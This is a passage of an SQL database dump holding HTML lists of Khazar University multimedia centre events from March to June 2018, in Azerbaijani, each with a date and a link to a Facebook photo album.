href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&album_id=1897749613568768\" style=\"background:undefined\" type=\"application/x-shockwave-flash\"><div style=\"background:undefined\">14.03.2018 Erasmus Plus Petra layihe (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1913918885285174\">FOTO</a>)</div></div><div style=\"background:undefined\">14.03.2018 `Startup` layihəsinin yekun teqdimatı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1913661978644198\">FOTO</a>)</div></div><div>13.03.2018 Hamlet İsaxanlı Ad günü Şəkidə&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1932285890115140\">FOTO</a>)</div></div><div>13.03.2018 Tərcüməçilik sahəsində karyera (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1912714978738898\">FOTO</a>)</div></div><div>13.03.2018 1-ci kurslarin mükafatlandırılması&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1912505302093199\">FOTO</a>)<br></div><div>11.03.2018&nbsp; Xəzər Unviersiteti Futbol çempionatının finalı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1912594848750911\">FOTO</a>)<br></div><div>11.03.2018 \"Bir Qutu Oyuncaq\" (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1911344235542639\">FOTO</a>)</div></div><div>09.03.2018 Dostlar fondunun təsis yığıncağı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1911223112221418\">FOTO</a>)&nbsp;</div></div><div>09.03.2018 Encotec şirkəri ilə görüş (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1907690295908033\">FOTO</a>)</div></div><div>07.03.2018&nbsp;Xəzərdə 8 mart.Təbriklər! &nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1905291066147956\">FOTO</a>)<br></div><div>06.03.2018&nbsp;&nbsp;UNISMA of Indonesia rəhbərliyi ilə görüş&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1903813822962347\">FOTO</a>)</div><div>05.03.2018 Doktorant tələbələri üçün seminar&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1902778196399243\">FOTO</a>)<br></div><div>05.03.2018 Doktorant tələbələri üçün seminar&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1902778196399243\">FOTO</a>)<br></div><div>05.03.2018 Hasan Niknafs Yanka Kupala universitetinlə görüş&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1902713066405756\">FOTO</a>)</div><div>01.03.2018 Mülki Müdafiə (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1897879533555776\">FOTO</a>)</div></div><div>01.03.2018&nbsp; Hamlet İsaxanlı - ad günü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1897749613568768\">FOTO</a>)</div><div><br></div>'),(4825,2827,'en','March','March',''),(4826,2828,'az','Aprel','Aprel','<div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div>30.04.2018 Erasmus+ PETRA (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1968619166481812\">FOTO</a>)</div></div><div>30.04.2018 AESOP anonim sorğu nəticəsi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1967545219922540\">FOTO</a>)</div><div><div>28.04.2018 Xəzərin Təqdimatı Qaradağ rayonunda (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1967740543236341\">FOTO</a>)</div></div><div>27.04.2018 Potensial direktorlar 9 (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1967563636587365\">FOTO</a>)</div></div><div>27.04.2018&nbsp;&nbsp;Avtomatlaşdırma,robotlaşdırma və suni intellekt seminarı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1964440080233054\">FOTO</a>)</div><div>27.04.2018 Hamlet İsaxanlının Teymur Sadıqov ilə görüşü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1964434640233598\">FOTO</a>)</div></div><div>27.04.2018 Ekoloji araşdırmalar (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1964369446906784\">FOTO</a>)</div></div><div>27.04.2018 Misirin Ain Shams Univeristetinin nümayəndəsi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1964232110253851\">FOTO</a>)</div></div><div>26.04.2018 Potensial Direktorlar IX (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1963445153665880\">FOTO</a>)</div></div><div>26.04.2018 Maliyyə və Mühasibatlıq sahəsində Karyera İnkişafı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1963414537002275\">FOTO</a>)</div></div><div>26.04.2018 Ertələmə xəstəliyi mövzusunda seminar (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1963359237007805\">FOTO</a>)</div></div><div>25.04.2018 Xəzərin sorağında komandasına təşəkkürnamə (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1962215137122215\">FOTO</a>)</div></div><div>24.04.2018 Turizm sahəsində iş imkanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1961277423882653\">FOTO</a>)</div></div><div>24.04.2018 Hamlet müəllimin Sloveniyanın Lyublyana Universiteti ilə görüşü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1961238697219859\">FOTO</a>)<em height=\"24\" width=\"24\"></em></div></div><div>24.04.2018 Erasmus+ Proqramı - Slaveniya (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1961034007240328\">FOTO</a>)</div></div><div><div>24.04.2018 BMT-də Könüllülük (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1961013510575711\">FOTO</a>)</div></div><div>21.04.2018 Qloballaşan təhsil (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1957744144235981\">FOTO</a>)</div><div>20.04.2018&nbsp;&nbsp;Xəzərin sorağında (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1960003710676691\">FOTO</a>)</div></div><div>20.04.2018 Xəzərin sorağında (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1957704524239943\">FOTO</a>)</div></div><div>20.04.2018 Quba \"Istək\" liseyi şagirdləri ilə görüş (FOTO)</div></div><div>20.04.2018 Qloballaşan Təhsil (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1956618357681893\">FOTO</a>)</div><div><div>19.04.2018 Şəhriyar Məmmədovun ilkin müdafiəsi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1960060264004369\">FOTO</a>)</div></div></div><div>19.04.2018 Hassan müəllimin Belçika səfirliyi ilə görüşü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1955802324430163\">FOTO</a>)</div></div><div>19.04.2018 Hamlet müəllimin Belçika səfirliyi ilə görüşü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1955801167763612\">FOTO</a>)</div></div><div>19.04.2018 PETRA layihəsi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1955500864460309\">FOTO</a>)</div></div><div>19.04.2018&nbsp;Midterm imtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1955600904450305\">FOTO</a>)</div></div><div>18.04.2018 PETRA layihəsi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1954624694547926\">FOTO</a>)</div></div><div>18.04.2018 Midterm imtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1954592524551143\">FOTO</a>)</div></div><div>16.04.2018 FHN -nin yangina nezaret xidmeti ile gorusu (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1952255391451523\">FOTO</a>)</div></div><div>13.04.2018 Elmi Şura&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1948972748446454\">FOTO</a>)<br></div><div>13.04.2018  Rektorluqda Artvin-Çoruh Universitetinin nümayəndələri ilə görüş&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1948883295122066\">FOTO</a>)</div><div>12.04.2018 Petra layihesi&nbsp; <a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1947985981878464\">(FOTO</a>)<br></div><div>12.04.2018  Elmi tədqiqatlarda statistik hesablamalar&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1947772495233146\">FOTO</a>)<br></div><div>09.04.2018 Italya medeniyyet mekezinin numayendesile rektorla gor (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1944427052234357\">FOTO</a>)</div></div><div>08.04.2018 V Beynəlxalq Psixologiya Konfransı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1943502092326853\">FOTO</a>)</div></div><div>08.04.2018 Azerbaycan V Beynalxalq Psixologiya Konfransi 2-ci gün (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1943446128999116\">FOTO</a>)</div></div><div>07.04.2018 Azərbaycan V Beynəlxalq Psixologiya Konfransı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1942282109115518\">FOTO</a>)</div></div><div>06.04.2018 P2P Challenge (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1941108249232904\">FOTO</a>)</div></div><div>05.04.2018&nbsp;&nbsp;Eurasia bağlanış (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1940998859243843\">FOTO</a>)<br></div><div>05.04.2018 How to Сreate an Empowering Organizational Culture?&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1940049642672098\">FOTO</a>)<br></div><div>05.04.2018  Xəzər Universitetinin disertantı Milana Abasovanın müdafiəsi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1939967372680325\">FOTO</a>)&nbsp;<br></div><div>05.04.2018 Eurasia HUB (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1939940016016394\">FOTO</a>)</div></div><div>04.04.2018 Training -&nbsp;Imtahanların Qaydaları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1939059632771099\">FOTO</a>)</div></div><div>04.04.2018 Türkiyə mədəniyyəti (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1938870779456651\">FOTO</a>)</div></div><div>04.04.2018 Eurasia HUB (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1938814032795659\">FOTO</a>)</div></div><div>03.04.2018 Eurasia HUB (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1937698942907168\">FOTO</a>)</div></div><div>02.04.2018 Eurasia HUB (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1936915542985508\">FOTO</a>)</div></div><div>02.04.2018&nbsp;&nbsp;Iraq səfirliyi və Universitet nümayəndələri ilə görüş&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1936800209663708\">FOTO</a>)</div><div>02.04.2018 2D Dusun ve Dizayn et (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1936783036332092\">FOTO</a>)</div>  <div><div class=\"_5xz-\" style=\"display:inline-block;width:350px;font-family:Helvetica, Arial, sans-serif;color:#1d2129;font-size:12px;text-align:center;background-color:#ffffff\"><span class=\"_3xgd\" style=\"font-size:20px;font-family:inherit\"><br></span></div></div>'),(4827,2828,'en','April','April',''),(4828,2829,'az','May','May','<div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div>31.06.2018 Potensial direktorlar 9 (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2002264166450645\">FOTO</a>)</div></div><div><div>30.05.2018 İsmayıllı şagirdləri Xəzər Universtetinde (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2000306163313112\">FOTO</a>)</div></div><div><div>30.05.2018 İsmayıllı rayonunun 11-ci sinif şagirdləri Xəzərdə. (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2000191816657880\">FOTO</a>)</div></div><div>29.05.2018 Hassan Niknafsın İranın Elm və İncəsənət Universitetinin nümayəndələri ilə görüşü&nbsp; (<a href=\"https://www.facebook.com/kumultimediacenter/photos/?tab=album&amp;album_id=1999160096761052\">FOTO</a>)<br></div><div><div>29.05.2018 Karyera Sərgisi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1999127623430966\">FOTO</a>)</div></div><div><div>26.05.2018 `Bir İnci` yarışı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1999028460107549\">FOTO</a>)</div></div><div>25.05.2018 ADR-nin 100 illiyi ile bagli muhazire (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1998979090112486\">FOTO</a>)</div></div><div><div>25.05.2018 Hamlet İsaxanlının poeziyasına psixoloji səyahət (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1994906040519791\">FOTO</a>)</div></div><div><div>25.05.2018 Egg Drop (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1994820043861724\">FOTO</a>)</div></div><div><div>25.05.2018 Cümhuriyyətin 100-cü il həsr edilmiş tarixçilərin dərs (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1994657753877953\">FOTO</a>)</div></div><div><div>24.05.2018 Mathematical Physics Conference (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1994648163878912\">FOTO</a>)</div></div><div><div>24.05.2018 Mathematical Physics conference (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1993786360631759\">FOTO</a>)</div></div><div><div>24.05.2018 Korea kino günü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1993739837303078\">FOTO</a>)</div></div><div><div>24.05.2018 Mathematical&nbsp;Physics conference (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1993678190642576\">FOTO</a>)</div></div><div><div>24.05.2018&nbsp;Azerbaycan Xalq Cumhuriyyetinde dil meselesi&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1993592463984482\">FOTO</a>)</div></div><div>24.05.2018 Mathematical Physics conference (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1993531877323874\">FOTO</a>)</div></div><div>24.05.2018 TRIZ KUBOKU 2018 (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1993509560659439\">FOTO</a>)</div></div><div>23.05.2018 Amerikada təhsil almaq (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1992598254083903\">FOTO</a>)</div></div><div>23.05.2018 Mathematical Physics conference (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1992480594095669\">FOTO</a>)</div></div><div>23.05.2018 Mathematical Physics conference (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1992441790766216\">FOTO</a>)</div></div><div>22.05.2018 1-ci kurslar arasinda debat (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1992415934102135\">FOTO</a>)</div></div><div>22.05.2018 Mathematical Physics conference -3 (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1992389434104785\">FOTO</a>)</div></div><div><div>22.05.2018 Mathematical Physics conference -2 (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1991536414190087\">FOTO</a>)</div></div><div>22.05.2018 Mathematical Physics conference (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1991474914196237\">FOTO</a>)</div></div><div>22.05 2018 AXC dövrü ədəbiyyatı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1991434207533641\">FOTO</a>)</div></div><div>21.05.2018 Mathematical Physics conference -2&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1990531984290530\">FOTO</a>)</div></div><div>21.05.2018 Mathematical Physics conference (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1990286157648446\">FOTO</a>)</div></div><div>18.05.2018 Gəlin birlikdə mütailə edək. (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1987368037940258\">FOTO</a>)</div></div><div>18.05.2018 M.Ə Rəsulzadənin doğulduğu yerə ziyarət (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1987046561305739\">FOTO</a>)</div></div><div>17.05.2018 Xaricdən gələn alimlərin təqdimatı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1986963817980680\">FOTO</a>)</div></div><div>17.05.2018 Nazim Rza telebelerle görüş (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1986956167981445\">FOTO</a>)</div></div><div><div>15.05.2018 İnnovasiya və liderlik seminarı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1984926488184413\">FOTO</a>)</div></div><div><div>15.04.2018 potensial direktorlar (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1984911148185947\">FOTO</a>)</div></div><div>13.05.2018 Cografiya ixtisasinin tələbəleri Şirvan milli parkinda (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1982969188380143\">FOTO</a>)</div><div><div>12.05.2018 Karyera məlumat sessiyasi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1984895071520888\">FOTO</a>)</div></div></div><div>11.05.2018 Azəri Card şirkətinin təqdimatı&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1979484605395268\">FOTO</a>)<br></div><div>10.05.2018 Xəzər universitetinin Kamera orkestrı FHN-nin tədbiri (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1983141955029533\">FOTO</a>)</div><div>10.05.2018 Karyera sərgisinə hazırlıq (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=albums\">FOTO</a>)</div></div><div>08.05.2018 Belçikanın Azərbaycandakı səfiri ilə görüş&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1976378982372497\">FOTO</a>)</div></div><div>07.05.2018&nbsp;&nbsp;İstanbul Aydın Universitesi Hamlet İsaxanlının Yubileyi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1978529652157430\">FOTO</a>)</div><div>07.05.2018 Qala muzeyinə ekskursiya (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1976326842377711\">FOTO</a>)</div></div><div><div>05.04.2018 Potensial direktorlar (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1975307362479659\">FOTO</a>)</div></div><div>04.05.2018 Orgeneral İlker Başbuğ   Fəxri ziyarətdə&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1975296792480716\">FOTO</a>) <br></div><div><div>04.05.2018&nbsp;&nbsp;Elm və   sənət&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1972467329430329\">FOTO</a> )</div><div>03.05.2018&nbsp;Orgeneral İlker Başbuğ&nbsp;İçəri şəhərdə (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1975283722482023\">FOTO</a>)</div></div><div><div>03.05.2018&nbsp;&nbsp;İlkər Başbuğun tələbələrlə görüş (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1971098096233919\">FOTO</a>)</div></div><div><div>02.05.2018 Meksika səfiri Xəzərdə (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1969761213034274\">FOTO</a>)</div></div><div>01.05.2018 Potensial direktorlar 9 (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1969680133042382\">FOTO</a>)</div>'),(4829,2829,'en','May','May',''),(4830,2830,'az','İyun','İyun','<div><div><div><div><div><div><div><div><div><div><div><div><div><div><div>30.06.2018 Eurosia HUB (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2047572825253112\">FOTO</a>)</div></div><div>28.06.2018 Dizayn ixtisasının Yekun-Baxış sərgisi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2041351065875288\">FOTO</a>)</div></div><div>27.06.2018 Media Mərkəzi Ekoparkda (Zirə) (AZIZA) (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2041219892555072\">FOTO</a>)</div></div><div>27.06.2018 Media mərkəzi Ekoparkda (Zirə) (VURGUN) (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2041205779223150\">FOTO</a>)</div></div><div>27.06.2018 Media mərkəzi Ekoparkda (Zirə) (SEBNEM) (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2041200582557003\">FOTO</a>)</div></div><div>27.06.2018 Media mərkəzi Ekoparkda (Zirə) (ISMET) (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2041196599224068\">FOTO</a>)</div><div>27.06.2018 Media Mərkəzi Ekoparkda (Zirə) (EMIL) (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2041179392559122\">FOTO</a>)</div></div><div>27.06.2018 Media Mərkəzi Ekoparkda (Zirə) (AZER) (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2041175672559494\">FOTO</a>)</div></div><div>27.06.2018 Media Mərkəzi Ekoparkda (Zirə) (AFRUZ)&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2041169509226777\">FOTO</a>)</div></div><div>28.06.2018 Blended learning (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2041038649239863\">FOTO</a>)</div><div><div>28.06.2018 Eurosia HUB (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2041017612575300\">FOTO</a>)</div>27.06.2018 Abbes Benmoussatın disertasiyası (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2039671532709908\">FOTO</a>)</div></div><div>27.06.2018 SCHLUMBERGERin Xəzərdə imtahani (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2039606369383091\">FOTO</a>)</div></div><div>27.06.2018 Olga Bogdanovanın Hasan Niknafsla görüşü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2039644489379279\">FOTO</a>)</div>  <div>27.06.2018 Eurasiya HUB (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2039607696049625\">FOTO</a>)</div></div><div>27.06.2018 Olga Bogdanova ve Hamlet İsaxanlı ilə görüş&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2039532262723835\">FOTO</a>)<br></div><div>27.06.2018  Estoniya Tartu Universitetinin Curriculum Design seminarı&nbsp; &nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2039494376060957\">FOTO</a>)<br></div><div>25.06.2018 TEDx Xəzər (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2039443092732752\">FOTO</a>)  <br></div><div>25.06.2018 Eurasia HUB (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2036278769715851\">FOTO</a>)</div><div>Xəzər Universitetində - Hədəf Kurslarının Təlimi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2036264463050615\">FOTO</a>)</div><div>25.06.2018 Hamlet muəllimin Dr. Səlmə Yellə görüşü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2036186936391701\">FOTO</a>)</div><div>25.06.2018 Eurasia HUB (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2036150523062009\">FOTO</a>)</div><div>22.06.2018 Micro_Nanotechnology Seminarı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2030918593585202\">FOTO</a>)</div><div>21.06.2018 TAİEX numayəndələri ile görüş (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2029264103750651\">FOTO</a>)</div><div>20.06.2018 Xəzərdə final imtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2027136787296716\">FOTO</a>)</div><div>14.06.2018 Sclumberger Imtahani (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2017632491580479\">FOTO</a>)</div><div>13.06.2018 Final imtahanı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2016519498358445\">FOTO</a>)</div><div>13.06.2018 Vurğunun ad günü (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2016452865031775\">FOTO</a>)</div><div>12.06.2018 Psixologiya telebelerinin magistr mudafiesi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2015074848502910\">FOTO</a>)</div><div>12.06.2018 \"EGG DROP\" müsabiqəsinin qalibləri (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2014950475182014\">FOTO</a>)</div><div>11.06.2018 The Same komandası \'\'Sənin Baxışın\'\' sərgisi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2014868735190188\">FOTO</a>)</div><div>Robert Ceklin ile xudahafizləşmə (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2010015479008847\">FOTO</a>)</div><div>08.06.2018 Könüllülərin final iclasi&nbsp;FOTO)</div><div>08.06.2017 Xəzərdə final imtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2009800542363674\">FOTO</a>)</div></div><div>07.06.2018&nbsp;Xəzərde final imtahlanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2008836085793453\">FOTO</a>)</div><div>06.06.2018 Humanitar fakültəsinin uşaq evinə ziyarəti (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2008766262467102\">FOTO</a>)</div></div><div>05.06.2018 Fikrət Əmirovun adına zalın açılışı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2007804975896564\">FOTO</a>)</div></div><div>05.06.2018 Xəzərdə final imtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2006639142679814\">FOTO</a>)</div> <div><div>&nbsp;04.06.2018 Final imtahanı&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2005717022772026\">FOTO</a>)</div><div>04.06.2018 Çindən gələn qonaqlar ilə görüş (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2005653099445085\">FOTO</a>)</div>  <div>02.06.2018 Tək sağlamlıq- Problemlər və Həlləri (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2005585076118554\">FOTO</a>)</div></div><div>02.06.2018 Tək sağlamlıq- 